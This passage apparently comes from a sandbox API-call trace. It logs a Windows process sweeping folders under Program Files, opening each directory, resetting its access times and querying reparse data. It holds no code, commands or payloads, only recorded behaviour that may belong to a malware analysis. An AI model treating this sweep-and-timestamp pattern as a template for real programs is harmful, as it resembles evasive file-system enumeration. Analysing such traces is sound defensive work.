lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.870] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.870] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.870] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c1b20, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c1b20, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.870] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.873] GetLastError () returned 0x12 [0144.873] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.873] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.873] GetLastError () returned 0x12 [0144.873] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.875] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.875] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.875] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c0f58, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c0f58, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.880] GetLastError () returned 0x12 [0144.880] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.880] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.880] GetLastError () returned 0x12 [0144.880] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.882] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.883] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.883] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c5ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c5ba0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.883] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.885] GetLastError () returned 0x12 [0144.885] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.885] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.886] GetLastError () returned 0x12 [0144.886] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.888] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.889] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.889] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c5ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c5ba0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.889] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.894] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.895] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.895] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c4f58, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c4f58, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.898] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.898] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.899] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ca9a8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9ca9a8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.903] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.903] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.903] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ca9a8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9ca9a8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.908] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.908] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.908] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c9c60, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c9c60, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.912] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.912] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.912] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c9c60, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c9c60, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.915] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.916] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.916] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c9c60, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c9c60, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.919] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.920] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.920] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cf8b0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9cf8b0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.924] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.925] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.925] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cea68, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9cea68, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.928] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.929] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.929] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cea68, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9cea68, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.933] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.933] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.933] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cf970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9cf970, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.941] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.941] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.941] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cf970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9cf970, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.947] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.947] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0144.947] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d48b8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d48b8, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0144.952] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.952] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.952] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d48b8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9d48b8, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.956] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.957] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.957] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d3970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9d3970, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0144.959] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0144.959] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0144.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0144.962] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.962] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0144.965] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.965] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0144.977] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.977] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.981] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.981] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.984] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.984] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.985] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0144.985] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0144.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.989] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.989] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.992] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.992] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d5970, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d5970, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.011] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, 